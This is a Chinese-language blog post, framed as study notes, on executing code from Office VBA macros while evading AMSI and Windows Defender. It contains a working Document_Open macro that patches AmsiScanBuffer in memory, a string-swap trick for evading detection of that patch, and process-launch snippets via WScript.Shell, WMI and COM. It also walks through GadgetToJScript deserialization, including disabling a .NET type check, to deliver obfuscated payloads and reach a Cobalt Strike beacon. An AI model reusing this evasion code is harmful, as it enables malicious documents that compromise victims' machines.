GadgetToJScript在VBA中的利用

2021-07-06 14:35:49 浏览数 (1)

前言:

最近在学习一些不错的思路,本文是对下面文章的学习记录。

https://www.shutingrz.com/post/explore-dotnet-serialize-g2js/

开了原创,方便转载,勿喷。

本文将浅析GadgetToJScript的反序列化原理与在VBA中的利用。首先我们来看一下VBA中常见的执行方式

WScript.Shell:

代码语言:javascript复制
CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"

进程树如下:

用来反弹会话时,代码如下:

代码语言:javascript复制
CreateObject("WScript.Shell").Run "powershell.exe ..............."

调用WMI:

主要为使用wmi的Win32_Process的Create方法

代码语言:javascript复制
s = GetObject("winmgmts:\.rootcimv2:Win32_Process").Create("notepad.exe", Null, Null, intProcessID)

进程树如下

调用COM:

  • {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
  • {72C24DD5-D70A-438B-8A42-98424B88AFB8}
  • {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
代码语言:javascript复制
Set obj3 = GetObject("new:13709620-C279-11CE-A49E-444553540000")
obj3.ShellExecute "PowerShell.exe", "", "", "runas", 0

进程树(与你的CISID有关)

Outlook.Application:

代码语言:javascript复制
Set outlookApp = CreateObject("Outlook.Application")
outlookApp.CreateObject("Wscript.shell").Run "notepad.exe", 0

进程树

而这些方法因为都已公开许久,都或多或少的会被检测到。而拿我们常用的CS之类的为例,我们生成载荷,然后运行,在监控中会很清楚的看到过程被amsi所监控(payload做了简单修改)

检查过程如下:

而整个过程微软解释如下:

而在VBA中的被检测的列表已有大佬整理了出来:

https://github.com/synacktiv/AMSI-Bypass

当然,DDE与excel 4.0是不受amsi所保护的。而amsi的bypass也早已是老生常谈的话题,例如outflank提出的

https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/

或者是在VBA中进行memory patch

代码语言:javascript复制
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    
End Sub

但此类方法,亦会被windows defende amsi 所拦截

而此类的检查则是基于字符串的,即amsi.dll与RtlMoveMemory,将RtlMoveMemory改成RtlFillMemory即可bypass,效果大体如下

GadgetToJScript与.net

在某些脚本语言中可以使用com对象,而com对象可以用来调用.net

而GadgetToJScript本质是反序列化的利用,下面是一个基础的反序列化代码

代码如下:

代码语言:javascript复制
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Configuration;

namespace serializable
{
    class NonSerializable
    {
        private string _text;

        public NonSerializable(string text)
{
            _text = text;
        }

        public override string ToString()
{
            return _text;
        }
    }

    // Custom serialization surrogate
    class _SurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void TestObjectSerializedRef()
{
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new _SurrogateSelector();
            fmt.Serialize(stm, new NonSerializable("Hello World!"));
            stm.Position = 0;

            // Should print Hello World!.
            Console.WriteLine(fmt.Deserialize(stm));
        }
        static void Main(string[] args)
{ 
            TestObjectSerializedRef();
        }
    }
}

上述代码的意思是NonSerializable 类在构造函数中接受一个字符串,然后重写ToString函数,并返回一个sting对象。ToString允许 C# 中的所有类隐式继承 Object 类并返回一个字符串表示,所以当 Console.WriteLine() 被调用时会返回Hello World! 但是这个类没有Serializable属性,所以本质上是不能序列化的。但我们可以覆盖 SurrogateSelector 类的 GetSurrogate 方法,使其可以被反序列化。

编译执行,报错,这是因为.NET 4.8增加了对反序列化的检查。

我们可以使用设置DisableActivitySurrogateSelectorTypeCheck来绕过该检测。

代码语言:javascript复制
        static void Main(string[] args)
        {
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            TestObjectSerializedRef();
        }

成功反序列化。

使用DotNetToJScript 操作上述代码,生成的代码类似如下:

代码语言:javascript复制
Function Base64ToStream(b,l)
  Dim enc, length, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Dim shell
Set shell = CreateObject("WScript.Shell")
Dim ver
ver = "v4.0.30319"
On Error Resume Next
shell.RegRead "HKLMSOFTWARE\Microsoft.NETFrameworkv4.0.30319"
If Err.Number <> 0 Then
  ver = "v2.0.50727"
  Err.Clear
End If
shell.Environment("Process").Item("COMPLUS_Version") = ver
Dim fmt_1
Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341))

If Err.Number <> 0 Then
  Dim fmt_2
  Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
  fmt_2.Deserialize_2(Base64ToStream(stage_2, 12424))
End If

即使用COM 组件反序列化 Base64 编码的 .NET 对象。其代码结构解释如下:

即BinaryFormatter的反序列化加载。假设有下面的代码:

代码语言:javascript复制
using System;
using System.Windows.Forms;

namespace Test
{
    public class Program
    {
    public Program()
    {
      MessageBox.Show("Hello, World!");
    }
    }
}

生成vbs文件:

代码语言:javascript复制
GadgetToJScript.exe -b -w vbs -c hello.cs -o test -d System.dll -d System.Windows.Forms.dll

静态可过windows defender ,执行可以弹框。然后放入宏中

然后我们换成之前的COM 对象来启动进程,弹出notepad

但是直接生成的payload是会被windows defender所检测到的,需要自行混淆。混淆后绕过windows defender执行成功。

但目前该类方法我们利用起来仍然不是很好利用,因为虽然可以绕过windows defender的检测,但假如我们使用com去调用powershell远程加载的时候仍然无法绕过widnows defender。但这已不是宏需要考虑的了,而是在powershell中amsi patch的问题了,在前方的代码中加入amsi patch,即可然过wdf对ps的检查,得到Cs的beacon。

更多精彩推荐,请关注我们

0 人点赞